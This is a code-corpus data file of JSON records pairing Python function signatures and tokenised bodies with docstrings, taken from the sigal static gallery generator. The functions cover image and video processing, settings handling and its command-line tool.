{"signature": "def save_cache(gallery):", "body": "if hasattr(gallery, \"<STR_LIT>\"):<EOL><INDENT>cache = gallery.exifCache<EOL><DEDENT>else:<EOL><INDENT>cache = gallery.exifCache = {}<EOL><DEDENT>for album in gallery.albums.values():<EOL><INDENT>for image in album.images:<EOL><INDENT>cache[os.path.join(image.path, image.filename)] = image.exif<EOL><DEDENT><DEDENT>cachePath = os.path.join(gallery.settings[\"<STR_LIT>\"], \"<STR_LIT>\")<EOL>if len(cache) == <NUM_LIT:0>:<EOL><INDENT>if os.path.exists(cachePath):<EOL><INDENT>os.remove(cachePath)<EOL><DEDENT>return<EOL><DEDENT>try:<EOL><INDENT>with open(cachePath, \"<STR_LIT:wb>\") as cacheFile:<EOL><INDENT>pickle.dump(cache, cacheFile)<EOL>logger.debug(\"<STR_LIT>\", len(gallery.exifCache))<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger.warn(\"<STR_LIT>\", e)<EOL>os.remove(cachePath)<EOL><DEDENT>", "docstring": "Stores the exif data of all images in the gallery", "id": "f13450:m2"}
{"signature": "def filter_nomedia(album, settings=None):", "body": "nomediapath = os.path.join(album.src_path, \"<STR_LIT>\")<EOL>if os.path.isfile(nomediapath):<EOL><INDENT>if os.path.getsize(nomediapath) == <NUM_LIT:0>:<EOL><INDENT>logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", album.name)<EOL>_remove_albums_with_subdirs(album.gallery.albums, [album.path])<EOL>try:<EOL><INDENT>os.rmdir(album.dst_path)<EOL><DEDENT>except OSError as e:<EOL><INDENT>pass<EOL><DEDENT>album.subdirs = []<EOL>album.medias = []<EOL><DEDENT>else:<EOL><INDENT>with open(nomediapath, \"<STR_LIT:r>\") as nomediaFile:<EOL><INDENT>logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", album.name)<EOL>ignored = nomediaFile.read().split(\"<STR_LIT:\\n>\")<EOL>album.medias = [media for media in album.medias<EOL>if media.src_filename not in ignored]<EOL>album.subdirs = [dirname for dirname in album.subdirs<EOL>if dirname not in ignored]<EOL>_remove_albums_with_subdirs(album.gallery.albums,<EOL>ignored, album.path + os.path.sep)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Removes all filtered Media and subdirs from an Album", "id": "f13451:m1"}
{"signature": "def do_compress(self, filename, compressed_filename):", "body": "raise NotImplementedError<EOL>", "docstring": "Perform actual compression.\nThis should be implemented by subclasses.", "id": "f13455:c0:m1"}
{"signature": "def compress(self, filename):", "body": "compressed_filename = self.get_compressed_filename(filename)<EOL>if not compressed_filename:<EOL><INDENT>return<EOL><DEDENT>self.do_compress(filename, compressed_filename)<EOL>", "docstring": "Compress a file, only if needed.", "id": "f13455:c0:m2"}
{"signature": "def get_compressed_filename(self, filename):", "body": "if not os.path.splitext(filename)[<NUM_LIT:1>][<NUM_LIT:1>:] in self.suffixes_to_compress:<EOL><INDENT>return False<EOL><DEDENT>file_stats = None<EOL>compressed_stats = None<EOL>compressed_filename = '<STR_LIT>'.format(filename, self.suffix)<EOL>try:<EOL><INDENT>file_stats = os.stat(filename)<EOL>compressed_stats = os.stat(compressed_filename)<EOL><DEDENT>except OSError:  <EOL><INDENT>pass<EOL><DEDENT>if file_stats and compressed_stats:<EOL><INDENT>return (compressed_filename<EOL>if file_stats.st_mtime > compressed_stats.st_mtime<EOL>else False)<EOL><DEDENT>else:<EOL><INDENT>return compressed_filename<EOL><DEDENT>", "docstring": "If the given filename should be compressed, returns the\n        compressed filename.\n\n        A file can be compressed if:\n\n        - It is a whitelisted extension\n        - The compressed file does not exist\n        - The compressed file exists by is older than the file itself\n\n        Otherwise, it returns False.", "id": "f13455:c0:m3"}
{"signature": "def reduce_opacity(im, opacity):", "body": "assert opacity >= <NUM_LIT:0> and opacity <= <NUM_LIT:1><EOL>if im.mode != '<STR_LIT>':<EOL><INDENT>im = im.convert('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>im = im.copy()<EOL><DEDENT>alpha = im.split()[<NUM_LIT:3>]<EOL>alpha = ImageEnhance.Brightness(alpha).enhance(opacity)<EOL>im.putalpha(alpha)<EOL>return im<EOL>", "docstring": "Returns an image with reduced opacity.", "id": "f13456:m0"}
{"signature": "def watermark(im, mark, position, opacity=<NUM_LIT:1>):", "body": "if opacity < <NUM_LIT:1>:<EOL><INDENT>mark = reduce_opacity(mark, opacity)<EOL><DEDENT>if im.mode != '<STR_LIT>':<EOL><INDENT>im = im.convert('<STR_LIT>')<EOL><DEDENT>layer = Image.new('<STR_LIT>', im.size, (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>))<EOL>if position == '<STR_LIT>':<EOL><INDENT>for y in range(<NUM_LIT:0>, im.size[<NUM_LIT:1>], mark.size[<NUM_LIT:1>]):<EOL><INDENT>for x in range(<NUM_LIT:0>, im.size[<NUM_LIT:0>], mark.size[<NUM_LIT:0>]):<EOL><INDENT>layer.paste(mark, (x, y))<EOL><DEDENT><DEDENT><DEDENT>elif position == '<STR_LIT>':<EOL><INDENT>ratio = min(<EOL>float(im.size[<NUM_LIT:0>]) / mark.size[<NUM_LIT:0>], float(im.size[<NUM_LIT:1>]) / mark.size[<NUM_LIT:1>])<EOL>w = int(mark.size[<NUM_LIT:0>] * ratio)<EOL>h = int(mark.size[<NUM_LIT:1>] * ratio)<EOL>mark = mark.resize((w, h))<EOL>layer.paste(mark, (int((im.size[<NUM_LIT:0>] - w) / <NUM_LIT:2>),<EOL>int((im.size[<NUM_LIT:1>] - h) / <NUM_LIT:2>)))<EOL><DEDENT>else:<EOL><INDENT>layer.paste(mark, position)<EOL><DEDENT>return Image.composite(layer, im, layer)<EOL>", "docstring": "Adds a watermark to an image.", "id": "f13456:m1"}
{"signature": "def generate_media_pages(gallery):", "body": "writer = PageWriter(gallery.settings, index_title=gallery.title)<EOL>for album in gallery.albums.values():<EOL><INDENT>medias = album.medias<EOL>next_medias = medias[<NUM_LIT:1>:] + [None]<EOL>previous_medias = [None] + medias[:-<NUM_LIT:1>]<EOL>media_groups = zip(medias, next_medias, previous_medias)<EOL>for media_group in media_groups:<EOL><INDENT>writer.write(album, media_group)<EOL><DEDENT><DEDENT>", "docstring": "Generates and writes the media pages for all media in the gallery", "id": "f13457:m0"}
{"signature": "def write(self, album, media_group):", "body": "from sigal import __url__ as sigal_link<EOL>file_path = os.path.join(album.dst_path, media_group[<NUM_LIT:0>].filename)<EOL>page = self.template.render({<EOL>'<STR_LIT>': album,<EOL>'<STR_LIT>': media_group[<NUM_LIT:0>],<EOL>'<STR_LIT>': media_group[-<NUM_LIT:1>],<EOL>'<STR_LIT>': media_group[<NUM_LIT:1>],<EOL>'<STR_LIT>': self.index_title,<EOL>'<STR_LIT>': self.settings,<EOL>'<STR_LIT>': sigal_link,<EOL>'<STR_LIT>': {'<STR_LIT:name>': os.path.basename(self.theme),<EOL>'<STR_LIT:url>': url_from_path(os.path.relpath(self.theme_path,<EOL>album.dst_path))},<EOL>})<EOL>output_file = \"<STR_LIT>\" % file_path<EOL>with open(output_file, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>f.write(page)<EOL><DEDENT>", "docstring": "Generate the media page and save it", "id": "f13457:c0:m0"}
{"signature": "@click.group()<EOL>@click.version_option(version=__version__)<EOL>def main():", "body": "pass<EOL>", "docstring": "Sigal - Simple Static Gallery Generator.\n\n    Sigal is yet another python script to prepare a static gallery of images:\n    resize images, create thumbnails with some options, generate html pages.", "id": "f13459:m0"}
{"signature": "@main.command()<EOL>@argument('<STR_LIT:path>', default=_DEFAULT_CONFIG_FILE)<EOL>def init(path):", "body": "if os.path.isfile(path):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>from pkg_resources import resource_string<EOL>conf = resource_string(__name__, '<STR_LIT>')<EOL>with open(path, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>f.write(conf.decode('<STR_LIT:utf8>'))<EOL><DEDENT>print(\"<STR_LIT>\".format(path))<EOL>", "docstring": "Copy a sample config file in the current directory (default to\n    'sigal.conf.py'), or use the provided 'path'.", "id": "f13459:m1"}
{"signature": "@main.command()<EOL>@argument('<STR_LIT:source>', required=False)<EOL>@argument('<STR_LIT>', required=False)<EOL>@option('<STR_LIT>', '<STR_LIT>', is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@option('<STR_LIT>', '<STR_LIT>', is_flag=True, help=\"<STR_LIT>\")<EOL>@option('<STR_LIT>', '<STR_LIT>', is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@option('<STR_LIT:-c>', '<STR_LIT>', default=_DEFAULT_CONFIG_FILE, show_default=True,<EOL>help=\"<STR_LIT>\")<EOL>@option('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>@option('<STR_LIT>', help=\"<STR_LIT>\")<EOL>@option('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\")<EOL>def build(source, destination, debug, verbose, force, config, theme, title,<EOL>ncpu):", "body": "level = ((debug and logging.DEBUG) or (verbose and logging.INFO) or<EOL>logging.WARNING)<EOL>init_logging(__name__, level=level)<EOL>logger = logging.getLogger(__name__)<EOL>if not os.path.isfile(config):<EOL><INDENT>logger.error(\"<STR_LIT>\", config)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>start_time = time.time()<EOL>settings = read_settings(config)<EOL>for key in ('<STR_LIT:source>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>arg = locals()[key]<EOL>if arg is not None:<EOL><INDENT>settings[key] = os.path.abspath(arg)<EOL><DEDENT>logger.info(\"<STR_LIT>\", key.capitalize(), settings[key])<EOL><DEDENT>if not settings['<STR_LIT:source>'] or not os.path.isdir(settings['<STR_LIT:source>']):<EOL><INDENT>logger.error(\"<STR_LIT>\", settings['<STR_LIT:source>'])<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>relative_check = True<EOL>try:<EOL><INDENT>relative_check = os.path.relpath(settings['<STR_LIT>'],<EOL>settings['<STR_LIT:source>']).startswith('<STR_LIT:..>')<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>if not relative_check:<EOL><INDENT>logger.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if title:<EOL><INDENT>settings['<STR_LIT:title>'] = title<EOL><DEDENT>locale.setlocale(locale.LC_ALL, settings['<STR_LIT>'])<EOL>init_plugins(settings)<EOL>gal = Gallery(settings, ncpu=ncpu)<EOL>gal.build(force=force)<EOL>for src, dst in settings['<STR_LIT>']:<EOL><INDENT>src = os.path.join(settings['<STR_LIT:source>'], src)<EOL>dst = os.path.join(settings['<STR_LIT>'], dst)<EOL>logger.debug('<STR_LIT>', src, dst)<EOL>copy(src, dst, symlink=settings['<STR_LIT>'], rellink=settings['<STR_LIT>'])<EOL><DEDENT>stats = gal.stats<EOL>def format_stats(_type):<EOL><INDENT>opt = [\"<STR_LIT>\".format(stats[_type + '<STR_LIT:_>' + subtype], subtype)<EOL>for subtype in ('<STR_LIT>', '<STR_LIT>')<EOL>if stats[_type + '<STR_LIT:_>' + subtype] > <NUM_LIT:0>]<EOL>opt = '<STR_LIT>'.format('<STR_LIT:U+002CU+0020>'.join(opt)) if opt else '<STR_LIT>'<EOL>return '<STR_LIT>'.format(stats[_type], _type, opt)<EOL><DEDENT>print('<STR_LIT>'<EOL>.format(format_stats('<STR_LIT:image>'), format_stats('<STR_LIT>'),<EOL>time.time() - start_time))<EOL>", "docstring": "Run sigal to process a directory.\n\n    If provided, 'source', 'destination' and 'theme' will override the\n    corresponding values from the settings file.", "id": "f13459:m2"}
{"signature": "def init_plugins(settings):", "body": "logger = logging.getLogger(__name__)<EOL>logger.debug('<STR_LIT>', settings['<STR_LIT>'])<EOL>for path in settings['<STR_LIT>']:<EOL><INDENT>sys.path.insert(<NUM_LIT:0>, path)<EOL><DEDENT>for plugin in settings['<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>if isinstance(plugin, str):<EOL><INDENT>mod = importlib.import_module(plugin)<EOL>mod.register(settings)<EOL><DEDENT>else:<EOL><INDENT>plugin.register(settings)<EOL><DEDENT>logger.debug('<STR_LIT>', plugin)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error('<STR_LIT>', plugin, e)<EOL><DEDENT><DEDENT>for path in settings['<STR_LIT>']:<EOL><INDENT>sys.path.remove(path)<EOL><DEDENT>", "docstring": "Load plugins and call register().", "id": "f13459:m3"}
{"signature": "@main.command()<EOL>@argument('<STR_LIT>', default='<STR_LIT>')<EOL>@option('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\", default=<NUM_LIT>)<EOL>@option('<STR_LIT:-c>', '<STR_LIT>', default=_DEFAULT_CONFIG_FILE,<EOL>show_default=True, help='<STR_LIT>')<EOL>def serve(destination, port, config):", "body": "if os.path.exists(destination):<EOL><INDENT>pass<EOL><DEDENT>elif os.path.exists(config):<EOL><INDENT>settings = read_settings(config)<EOL>destination = settings.get('<STR_LIT>')<EOL>if not os.path.exists(destination):<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(destination))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(destination=destination, config=config))<EOL>sys.exit(<NUM_LIT:2>)<EOL><DEDENT>print('<STR_LIT>'.format(destination))<EOL>os.chdir(destination)<EOL>Handler = server.SimpleHTTPRequestHandler<EOL>httpd = socketserver.TCPServer((\"<STR_LIT>\", port), Handler, False)<EOL>print(\"<STR_LIT>\".format(port))<EOL>try:<EOL><INDENT>httpd.allow_reuse_address = True<EOL>httpd.server_bind()<EOL>httpd.server_activate()<EOL>httpd.serve_forever()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>", "docstring": "Run a simple web server.", "id": "f13459:m4"}
{"signature": "@main.command()<EOL>@argument('<STR_LIT:target>')<EOL>@argument('<STR_LIT>', nargs=-<NUM_LIT:1>)<EOL>@option('<STR_LIT>', '<STR_LIT>', default=False, is_flag=True,<EOL>help='<STR_LIT>')<EOL>def set_meta(target, keys, overwrite=False):", "body": "if not os.path.exists(target):<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\".format(target))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if len(keys) < <NUM_LIT:2> or len(keys) % <NUM_LIT:2> > <NUM_LIT:0>:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if os.path.isdir(target):<EOL><INDENT>descfile = os.path.join(target, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>descfile = os.path.splitext(target)[<NUM_LIT:0>] + '<STR_LIT>'<EOL><DEDENT>if os.path.exists(descfile) and not overwrite:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(descfile))<EOL>sys.exit(<NUM_LIT:2>)<EOL><DEDENT>with open(descfile, \"<STR_LIT:w>\") as fp:<EOL><INDENT>for i in range(len(keys) // <NUM_LIT:2>):<EOL><INDENT>k, v = keys[i * <NUM_LIT:2>:(i + <NUM_LIT:1>) * <NUM_LIT:2>]<EOL>fp.write(\"<STR_LIT>\".format(k.capitalize(), v))<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\".format(len(keys) // <NUM_LIT:2>, descfile))<EOL>", "docstring": "Write metadata keys to .md file.\n\n    TARGET can be a media file or an album directory. KEYS are key/value pairs.\n\n    Ex, to set the title of test.jpg to \"My test image\":\n\n    sigal set_meta test.jpg title \"My test image\"", "id": "f13459:m5"}
{"signature": "def get_thumb(settings, filename):", "body": "path, filen = os.path.split(filename)<EOL>name, ext = os.path.splitext(filen)<EOL>if ext.lower() in settings['<STR_LIT>']:<EOL><INDENT>ext = '<STR_LIT>'<EOL><DEDENT>return join(path, settings['<STR_LIT>'], settings['<STR_LIT>'] +<EOL>name + settings['<STR_LIT>'] + ext)<EOL>", "docstring": "Return the path to the thumb.\n\n    examples:\n    >>> default_settings = create_settings()\n    >>> get_thumb(default_settings, \"bar/foo.jpg\")\n    \"bar/thumbnails/foo.jpg\"\n    >>> get_thumb(default_settings, \"bar/foo.png\")\n    \"bar/thumbnails/foo.png\"\n\n    for videos, it returns a jpg file:\n    >>> get_thumb(default_settings, \"bar/foo.webm\")\n    \"bar/thumbnails/foo.jpg\"", "id": "f13460:m0"}
{"signature": "def read_settings(filename=None):", "body": "logger = logging.getLogger(__name__)<EOL>logger.info(\"<STR_LIT>\")<EOL>settings = _DEFAULT_CONFIG.copy()<EOL>if filename:<EOL><INDENT>logger.debug(\"<STR_LIT>\", filename)<EOL>settings_path = os.path.dirname(filename)<EOL>tempdict = {}<EOL>with open(filename) as f:<EOL><INDENT>code = compile(f.read(), filename, '<STR_LIT>')<EOL>exec(code, tempdict)<EOL><DEDENT>settings.update((k, v) for k, v in tempdict.items()<EOL>if k not in ['<STR_LIT>'])<EOL>paths = ['<STR_LIT:source>', '<STR_LIT>', '<STR_LIT>']<EOL>if os.path.isdir(join(settings_path, settings['<STR_LIT>'])) andos.path.isdir(join(settings_path, settings['<STR_LIT>'],<EOL>'<STR_LIT>')):<EOL><INDENT>paths.append('<STR_LIT>')<EOL><DEDENT>for p in paths:<EOL><INDENT>path = settings[p]<EOL>if path and not isabs(path):<EOL><INDENT>settings[p] = abspath(normpath(join(settings_path, path)))<EOL>logger.debug(\"<STR_LIT>\", p, path, settings[p])<EOL><DEDENT><DEDENT><DEDENT>for key in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>w, h = settings[key]<EOL>if h > w:<EOL><INDENT>settings[key] = (h, w)<EOL>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", key)<EOL><DEDENT><DEDENT>if not settings['<STR_LIT>']:<EOL><INDENT>logger.info('<STR_LIT>')<EOL><DEDENT>logger.debug('<STR_LIT>', pformat(settings, width=<NUM_LIT>))<EOL>return settings<EOL>", "docstring": "Read settings from a config file in the source_dir root.", "id": "f13460:m1"}
{"signature": "def create_settings(**kwargs):", "body": "settings = _DEFAULT_CONFIG.copy()<EOL>settings.update(kwargs)<EOL>return settings<EOL>", "docstring": "Create a new default setting copy and initialize it with kwargs.", "id": "f13460:m2"}
{"signature": "def generate_context(self, album):", "body": "from . import __url__ as sigal_link<EOL>self.logger.info(\"<STR_LIT>\", album)<EOL>return {<EOL>'<STR_LIT>': album,<EOL>'<STR_LIT>': self.index_title,<EOL>'<STR_LIT>': self.settings,<EOL>'<STR_LIT>': sigal_link,<EOL>'<STR_LIT>': {'<STR_LIT:name>': os.path.basename(self.theme),<EOL>'<STR_LIT:url>': url_from_path(os.path.relpath(self.theme_path,<EOL>album.dst_path))},<EOL>}<EOL>", "docstring": "Generate the context dict for the given path.", "id": "f13461:c0:m1"}
{"signature": "def write(self, album):", "body": "page = self.template.render(**self.generate_context(album))<EOL>output_file = os.path.join(album.dst_path, album.output_file)<EOL>with open(output_file, '<STR_LIT:w>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>f.write(page)<EOL><DEDENT>", "docstring": "Generate the HTML page and save it.", "id": "f13461:c0:m2"}
{"signature": "def copy(src, dst, symlink=False, rellink=False):", "body": "func = os.symlink if symlink else shutil.copy2<EOL>if symlink and os.path.lexists(dst):<EOL><INDENT>os.remove(dst)<EOL><DEDENT>if rellink:  <EOL><INDENT>func(os.path.relpath(src, os.path.dirname(dst)), dst)<EOL><DEDENT>else:<EOL><INDENT>func(src, dst)<EOL><DEDENT>", "docstring": "Copy or symlink the file.", "id": "f13462:m0"}
{"signature": "def check_or_create_dir(path):", "body": "if not os.path.isdir(path):<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>", "docstring": "Create the directory if it does not exist", "id": "f13462:m1"}
{"signature": "def url_from_path(path):", "body": "if os.sep != '<STR_LIT:/>':<EOL><INDENT>path = '<STR_LIT:/>'.join(path.split(os.sep))<EOL><DEDENT>return quote(path)<EOL>", "docstring": "Transform path to url, converting backslashes to slashes if needed.", "id": "f13462:m2"}
{"signature": "def read_markdown(filename):", "body": "global MD<EOL>with open(filename, '<STR_LIT:r>', encoding='<STR_LIT>') as f:<EOL><INDENT>text = f.read()<EOL><DEDENT>if MD is None:<EOL><INDENT>MD = Markdown(extensions=['<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>output_format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>MD.reset()<EOL>MD.Meta = {}<EOL><DEDENT>output = {'<STR_LIT:description>': Markup(MD.convert(text))}<EOL>try:<EOL><INDENT>meta = MD.Meta.copy()<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>output['<STR_LIT>'] = meta<EOL>try:<EOL><INDENT>output['<STR_LIT:title>'] = MD.Meta['<STR_LIT:title>'][<NUM_LIT:0>]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return output<EOL>", "docstring": "Reads markdown file, converts output and fetches title and meta-data for\n    further processing.", "id": "f13462:m3"}
{"signature": "def is_valid_html5_video(ext):", "body": "return ext in VIDEO_MIMES.keys()<EOL>", "docstring": "Checks if ext is a supported HTML5 video.", "id": "f13462:m4"}
{"signature": "def get_mime(ext):", "body": "return VIDEO_MIMES[ext]<EOL>", "docstring": "Returns mime type for extension.", "id": "f13462:m5"}
{"signature": "def check_subprocess(cmd, source, outname):", "body": "logger = logging.getLogger(__name__)<EOL>try:<EOL><INDENT>res = subprocess.run(cmd, stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>logger.debug('<STR_LIT>', outname)<EOL>if os.path.isfile(outname):<EOL><INDENT>os.remove(outname)<EOL><DEDENT>raise<EOL><DEDENT>if res.returncode:<EOL><INDENT>logger.debug('<STR_LIT>', res.stdout.decode('<STR_LIT:utf8>'))<EOL>logger.debug('<STR_LIT>', res.stderr.decode('<STR_LIT:utf8>'))<EOL>if os.path.isfile(outname):<EOL><INDENT>logger.debug('<STR_LIT>', outname)<EOL>os.remove(outname)<EOL><DEDENT>raise SubprocessException('<STR_LIT>' + source)<EOL><DEDENT>", "docstring": "Run the command to resize the video and remove the output file if the\n    processing fails.", "id": "f13463:m0"}
{"signature": "def video_size(source, converter='<STR_LIT>'):", "body": "res = subprocess.run([converter, '<STR_LIT>', source], stderr=subprocess.PIPE)<EOL>stderr = res.stderr.decode('<STR_LIT:utf8>')<EOL>pattern = re.compile(r'<STR_LIT>')<EOL>match = pattern.search(stderr)<EOL>rot_pattern = re.compile(r'<STR_LIT>')<EOL>rot_match = rot_pattern.search(stderr)<EOL>if match:<EOL><INDENT>x, y = int(match.groups()[<NUM_LIT:0>]), int(match.groups()[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>x = y = <NUM_LIT:0><EOL><DEDENT>if rot_match:<EOL><INDENT>x, y = y, x<EOL><DEDENT>return x, y<EOL>", "docstring": "Returns the dimensions of the video.", "id": "f13463:m1"}
{"signature": "def generate_video(source, outname, settings, options=None):", "body": "logger = logging.getLogger(__name__)<EOL>converter = settings['<STR_LIT>']<EOL>w_src, h_src = video_size(source, converter=converter)<EOL>w_dst, h_dst = settings['<STR_LIT>']<EOL>logger.debug('<STR_LIT>', w_src, h_src, w_dst, h_dst)<EOL>base, src_ext = splitext(source)<EOL>base, dst_ext = splitext(outname)<EOL>if dst_ext == src_ext and w_src <= w_dst and h_src <= h_dst:<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>shutil.copy(source, outname)<EOL>return<EOL><DEDENT>if h_dst * w_src < h_src * w_dst:<EOL><INDENT>resize_opt = ['<STR_LIT>', \"<STR_LIT>\" % h_dst]<EOL><DEDENT>else:<EOL><INDENT>resize_opt = ['<STR_LIT>', \"<STR_LIT>\" % w_dst]<EOL><DEDENT>if w_src <= w_dst and h_src <= h_dst:<EOL><INDENT>resize_opt = []<EOL><DEDENT>cmd = [converter, '<STR_LIT>', source, '<STR_LIT>']  <EOL>if options is not None:<EOL><INDENT>cmd += options<EOL><DEDENT>cmd += resize_opt + [outname]<EOL>logger.debug('<STR_LIT>', '<STR_LIT:U+0020>'.join(cmd))<EOL>check_subprocess(cmd, source, outname)<EOL>", "docstring": "Video processor.\n\n    :param source: path to a video\n    :param outname: path to the generated video\n    :param settings: settings dict\n    :param options: array of options passed to ffmpeg", "id": "f13463:m2"}
{"signature": "def generate_thumbnail(source, outname, box, delay, fit=True, options=None,<EOL>converter='<STR_LIT>'):", "body": "logger = logging.getLogger(__name__)<EOL>tmpfile = outname + \"<STR_LIT>\"<EOL>cmd = [converter, '<STR_LIT>', source, '<STR_LIT>', '<STR_LIT>', '<STR_LIT:1>',<EOL>'<STR_LIT>', delay, '<STR_LIT>', '<STR_LIT:1>', '<STR_LIT>', tmpfile]<EOL>logger.debug('<STR_LIT>', '<STR_LIT:U+0020>'.join(cmd))<EOL>check_subprocess(cmd, source, outname)<EOL>image.generate_thumbnail(tmpfile, outname, box, fit=fit, options=options)<EOL>os.unlink(tmpfile)<EOL>", "docstring": "Create a thumbnail image for the video source, based on ffmpeg.", "id": "f13463:m3"}
{"signature": "def process_video(filepath, outpath, settings):", "body": "logger = logging.getLogger(__name__)<EOL>filename = os.path.split(filepath)[<NUM_LIT:1>]<EOL>basename, ext = splitext(filename)<EOL>try:<EOL><INDENT>if settings['<STR_LIT>'] and is_valid_html5_video(ext):<EOL><INDENT>outname = os.path.join(outpath, filename)<EOL>utils.copy(filepath, outname, symlink=settings['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>valid_formats = ['<STR_LIT>', '<STR_LIT>']<EOL>video_format = settings['<STR_LIT>']<EOL>if video_format not in valid_formats:<EOL><INDENT>logger.error('<STR_LIT>',<EOL>valid_formats)<EOL>raise ValueError<EOL><DEDENT>outname = os.path.join(outpath, basename + '<STR_LIT:.>' + video_format)<EOL>generate_video(filepath, outname, settings,<EOL>options=settings.get(video_format + '<STR_LIT>'))<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>if logger.getEffectiveLevel() == logging.DEBUG:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return Status.FAILURE<EOL><DEDENT><DEDENT>if settings['<STR_LIT>']:<EOL><INDENT>thumb_name = os.path.join(outpath, get_thumb(settings, filename))<EOL>try:<EOL><INDENT>generate_thumbnail(<EOL>outname, thumb_name, settings['<STR_LIT>'],<EOL>settings['<STR_LIT>'], fit=settings['<STR_LIT>'],<EOL>options=settings['<STR_LIT>'],<EOL>converter=settings['<STR_LIT>'])<EOL><DEDENT>except Exception:<EOL><INDENT>if logger.getEffectiveLevel() == logging.DEBUG:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return Status.FAILURE<EOL><DEDENT><DEDENT><DEDENT>return Status.SUCCESS<EOL>", "docstring": "Process a video: resize, create thumbnail.", "id": "f13463:m4"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "return url_from_path(self.filename)<EOL>", "docstring": "URL of the media.", "id": "f13464:c0:m3"}
{"signature": "@property<EOL><INDENT>def big(self):<DEDENT>", "body": "if self.settings['<STR_LIT>']:<EOL><INDENT>s = self.settings<EOL>if s['<STR_LIT>']:<EOL><INDENT>return self.filename<EOL><DEDENT>orig_path = join(s['<STR_LIT>'], self.path, s['<STR_LIT>'])<EOL>check_or_create_dir(orig_path)<EOL>big_path = join(orig_path, self.src_filename)<EOL>if not isfile(big_path):<EOL><INDENT>copy(self.src_path, big_path, symlink=s['<STR_LIT>'],<EOL>rellink=self.settings['<STR_LIT>'])<EOL><DEDENT>return join(s['<STR_LIT>'], self.src_filename)<EOL><DEDENT>", "docstring": "Path to the original image, if ``keep_orig`` is set (relative to the\n        album directory). Copy the file if needed.", "id": "f13464:c0:m4"}
{"signature": "@property<EOL><INDENT>def big_url(self):<DEDENT>", "body": "if self.big is not None:<EOL><INDENT>return url_from_path(self.big)<EOL><DEDENT>", "docstring": "URL of the original media.", "id": "f13464:c0:m5"}
{"signature": "@property<EOL><INDENT>def thumbnail(self):<DEDENT>", "body": "if not isfile(self.thumb_path):<EOL><INDENT>self.logger.debug('<STR_LIT>', self)<EOL>path = (self.dst_path if os.path.exists(self.dst_path)<EOL>else self.src_path)<EOL>try:<EOL><INDENT>s = self.settings<EOL>if self.type == '<STR_LIT:image>':<EOL><INDENT>image.generate_thumbnail(<EOL>path, self.thumb_path, s['<STR_LIT>'],<EOL>fit=s['<STR_LIT>'])<EOL><DEDENT>elif self.type == '<STR_LIT>':<EOL><INDENT>video.generate_thumbnail(<EOL>path, self.thumb_path, s['<STR_LIT>'],<EOL>s['<STR_LIT>'], fit=s['<STR_LIT>'],<EOL>converter=s['<STR_LIT>'])<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>self.logger.error('<STR_LIT>', e)<EOL>return<EOL><DEDENT><DEDENT>return url_from_path(self.thumb_name)<EOL>", "docstring": "Path to the thumbnail image (relative to the album directory).", "id": "f13464:c0:m6"}
